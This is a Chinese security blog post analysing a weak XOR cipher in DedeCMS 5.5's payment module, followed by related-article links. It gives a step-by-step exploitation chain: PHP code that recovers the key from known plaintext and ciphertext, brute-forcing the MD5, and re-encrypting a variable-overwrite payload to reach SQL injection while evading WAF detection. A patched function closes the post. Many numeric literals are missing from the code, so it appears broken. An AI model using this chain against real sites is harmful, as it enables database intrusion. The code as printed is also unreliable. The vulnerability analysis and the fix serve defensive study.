catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

. 漏洞由mchStrCode函数弱算法(异或算法: 得其中2知余下1)->
. 导致通过获取到的明文和密文可以逆出经过MD5加密的密匙key->
. 破解MD5得到密匙->
. 利用密匙加密攻击Payload数据,并发送->
,在受害者服务端经过parse_str函数和foreach遍历最终覆盖表前缀变量$GLOBALS[cfg_dbprefix]实现注入
//漏洞利用过程提交的数据因为加密,隐藏了攻击payload的特征,和正常用户操作提交的数据并无二致,很难通过WAF等流量检测防御

Relevant Link:

http://m.blog.csdn.net/blog/jay900323/41311407

2. 漏洞触发条件

0x1: 漏洞测试

firefox的一个插件User Agent Switcher来设置UA,安装插件后,添加一个UA头,其中的User Agent清空,description随便填。设置为空是因为mchStrCode函数中的密匙含$_SERVER["HTTP_USER_AGENT"],如果不为空将加大md5的破解难度,设置为空则密匙为固定10位长度。设置好UA后

. 注册并登陆会员中心
. 在"我的织梦"->
. "消费中心"->
. "会员升级/点卡充值"中的"购买新点卡"选择"100点卡"
. 在点击购买前使用Live HTTP header监听

因为$_REQUEST获取参数是从$_GET->$_POST->$_COOKIE依次获取,所以$pr_encode明文的的内容为POST的内容“product=card&pid=1”加上COOKIE的内容,然后加密并打印加密后的字符串到html页面。明文和密文都获取到了,通过异或算法,获得MD5加密后的$key

<?php
//明文
$key = "product=card&pid=1";
//密文
$string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串,需要修改
$string = base64_decode(urldecode($string));
for($i=; $i<strlen($string); $i++)
{
$code .= $string[$i] ^ $key[$i];
}
//待暴力破解的$key
echo "md5(\$key):" .$code;
?>

接下来开始暴力破解$GLOBALS['cfg_cookie_encode'](因为我们控制$_SERVER["HTTP_USER_AGENT"]为空),取逆出的key的前16位破解md5即可,得到的$GLOBALS['cfg_cookie_encode']就是一个密文,我们不需要再次去逆向这个$GLOBALS['cfg_cookie_encode']了,可以直接使用它的密文进行后续的攻击

到了这一步,发起攻击的条件都准备好了,我们可以利用获得的$key,复用mchStrCode函数代码,对我们的变量覆盖payload进行加密,等效于利用了dedecms自己的加密通道发起了变量覆盖攻击,利用变量覆盖漏洞覆盖$GLOBALS[cfg_dbprefix]实现注入

<?php
$GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($GLOBALS['cfg_cookie_encode']),,);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}

Relevant Link:

http://drops.wooyun.org/papers/979

3. 漏洞影响范围
4. 漏洞代码分析

我们从黑客攻击步骤的角度,逐步来分析一下漏洞代码,同时讨论补丁前和补丁后的代码
\dedecms5.5\data\sys_pay.cache.php

function mchStrCode($string, $action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),,);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = ''; for($i = ; $i < strlen($string); $i++)
{
$k = $i % $len;
//补丁前是简单的异或算法
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}

我们第一步的目标是推导出用户加密的$key,我们从mchStrCode使用流这个角度入手,即分析哪些地方调用了mchStrCode这个函数
/member/buy_action.php

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
//调用了mchStrCode函数对$pd_encode变量解密并通过parse_str函数注册变量
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
//foreach遍历$mch_Post数组,这里如果我们可以控制$pd_encode解码后的内容,就可以注册覆盖任意变量
foreach($mch_Post as $k => $v)
$$k = $v;
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("请不要重复提交表单!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];
}
..

确定了攻击向量是变量覆盖,接下来要分析的是如何构造触发这条攻击向量,继续回到\dedecms5.5\data\sys_pay.cache.php中的mchStrCode函数

function mchStrCode($string, $action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),,);
..
for($i = ; $i < strlen($string); $i++)
{
$k = $i % $len;
//补丁前是简单的异或算法
$code .= $string[$i] ^ $key[$k];
}
..
}

其中构成$key的关键参数

. $_SERVER["HTTP_USER_AGENT"]: 浏览器的USER_AGENT,攻击者可控
. $GLOBALS['cfg_cookie_encode']: 未知,需要暴力破解

/install/index.php的$rnd_cookieEncode字符串的生成同样是加强了强度,$rnd_cookieEncode字符串最终也就是前面提到的$GLOBALS['cfg_cookie_encode']

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(,).chr(mt_rand(ord('A'),ord('Z')));

这段代码生成的加密密匙很有规律,所有密钥数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典,用passwordpro暴力跑MD5或者使用GPU来破解,可以得到原始密钥
总结一下上文

. 要暴力破解$GLOBALS['cfg_cookie_encode'],就需要知道$key密文
. 因为mchStrCode函数的简单异或算法的关系,$key密文可以通过明文和密文异或到得到
/*
假设有明文A,密匙B,密文C,则
C = A ^ B
B = A ^ C
*/

所以现在问题就转换为了: 如何得到明文以及加密后的字符串呢
/member/buy_action.php

//$pr_encode是从$_REQUEST获取的,也就是说明文可控
$pr_encode = '';
foreach($_REQUEST as $key => $val)
{
$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
} $pr_encode = str_replace('=', '', mchStrCode($pr_encode)); $pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode); $temp_arr = NULL;
$tpl = new DedeTemplate();
//$pr_encode加密后写到html页面
$tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
$tpl->Display();

\dedecms5.5\member\templets\buy_action_payment.htm

..
<input type="hidden" name="pd_encode" value="<?php echo $pr_encode;?>">
<input type="hidden" name="pd_verify" value="<?php echo $pr_verify;?>">
..

我们需要的明文和密文都能获取到

Relevant Link:

http://webscan.360.cn/news/news128

5. 防御方法

/member/buy_action.php

function mchStrCode($string, $operation = 'ENCODE')
{
$key_length = ;
$expiry = ;
$key = md5($GLOBALS['cfg_cookie_encode']);
$fixedkey = md5($key);
$egiskeys = md5(substr($fixedkey, , ));
$runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, , $key_length)) : '';
$keys = md5(substr($runtokey, , ) . substr($fixedkey, , ) . substr($runtokey, ) . substr($fixedkey, ));
$string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : ).substr(md5($string.$egiskeys), , ) . $string : base64_decode(substr($string, $key_length)); $i = ; $result = '';
$string_length = strlen($string);
for ($i = ; $i < $string_length; $i++)
{
$result .= chr(ord($string{$i}) ^ ord($keys{$i % }));
}
if($operation == 'ENCODE')
{
return $runtokey . str_replace('=', '', base64_encode($result));
}
else
{
if((substr($result, , ) == || substr($result, , ) - time() > ) && substr($result, , ) == substr(md5(substr($result, ).$egiskeys), , ))
{
return substr($result, );
}
else
{
return '';
}
}
}

Relevant Link:

http://www.dedecms.com/pl/

6. 攻防思考

思考这种攻击向量,问题的根源不在明文可控、明文、密文泄漏,这些都是对一个WEB应用来说必须的,而根源在于用于密码的算法不能采用简单的异或算法,应该禁止黑客仅仅通过明密文就可以逆向出$key的密文

Copyright (c) 2015 LittleHann All rights reserved

dedecms /member/buy_action.php Weak Password Vulnerability Algorithm Vul的更多相关文章

  1. dedecms /member/flink_main.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 会员模块中存在的SQL注入 Relevant Link http://w ...

  2. dedecms /member/uploads_edit.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms 5.3版本下的member/uploads_edit.p ...

  3. dedecms /member/resetpassword.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 DEDEcms SQL注入漏洞导致可以修改任意用户密码 2. 漏洞触发条 ...

  4. dedecms /member/reg_new.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件 http://127 ...

  5. dedecms /member/pm.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...

  6. dedecms /member/myfriend_group.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...

  7. dedecms /member/mtypes.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http:/ ...

  8. Linux System Account SSH Weak Password Detection Automatic By System API

    catalog . Linux弱口令攻击向量 . Linux登录验证步骤 . PAM . 弱口令风险基线检查 1. Linux弱口令攻击向量 0x1: SSH密码暴力破解 hydra -l root ...

  9. dedecms /member/edit_baseinfo.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 会员模块中存在的SQL注入 Relevant Link: http:// ...

随机推荐

  1. C#.NET 大型通用信息化系统集成快速开发平台 4.0 版本 - 用户权限树的实现 -- 权限递归树

    业务系统里经常会需要计算类似的树形权限树的业务需求 1:往往会有一些需求,a 对 b 有权限, b对c 有权限, 等等. 2:还需要很直观的看到,整个权限的树形关系,一目了然的那种. 3:程序调用简单 ...

  2. hadoop: hdfs API示例

    利用hdfs的api,可以实现向hdfs的文件.目录读写,利用这一套API可以设计一个简易的山寨版云盘,见下图: 为了方便操作,将常用的文件读写操作封装了一个工具类: import org.apach ...

  3. C#以post方式调用struts rest-plugin service的问题

    struts2: 玩转 rest-plugin一文中,学习了用struts2开发restful service的方法,发现用c#以post方式调用时各种报错,但java.ajax,包括firefox ...

  4. Node 进阶:express 默认日志组件 morgan 从入门使用到源码剖析

    本文摘录自个人总结<Nodejs学习笔记>,更多章节及更新,请访问 github主页地址.欢迎加群交流,群号 197339705. 章节概览 morgan是express默认的日志中间件, ...

  5. 用程序集编写clr表值函数:把正则表达式引入数据库中

    正则表达式非常好,但在数据库中就是没有,但可以通过程序集方式扩展 先编写一个dll,标量函数很好写,表值函数麻烦一点 下面是C#代码 using System; using System.Data; ...

  6. NPOI2.0学习(二)

    如果你要编辑的行和单元格,原本没有值,或者从未创建过的,就必须先创建. //在第二行创建行 IRow row = sheet.CreateRow(); //在第二行的第一列创建单元格 ICell ce ...

  7. my-Life项目开发流程

    一:新建java web项目  (懂得使用gradle哦!) 1.http://www.cnblogs.com/xylle/p/5234380.html 2.新建项目后,然后新建module, 如果甲 ...

  8. The hierarchy of the type NsRedisConnectionFactory is inconsistent

    The hierarchy of the type is inconsistent 解释为:层次结构的类型不一致 由于我在eclipse里建了两个JAVA PROJECT项目,分别是A projiec ...

  9. Android怎么使用字体图标 自定义FontTextView字体图标控件-- 使用方法

    首先我想说明一下字体图标的好处,最大的好处就是自适应了,而且是使用TextView 不用去切图,是矢量图 灵活调用 第一步我要说明一下一般字体图标的来源,我这里使用的是  --阿里巴巴矢量图标库 -网 ...

  10. Swift基础--通知,代理和block的使用抉择以及Swift中的代理

    什么时候用通知,什么时候用代理,什么时候用block 通知 : 两者关系层次太深,八竿子打不着的那种最适合用通知.因为层级结构深了,用代理要一层一层往下传递,代码结构就复杂了 代理 : 父子关系,监听 ...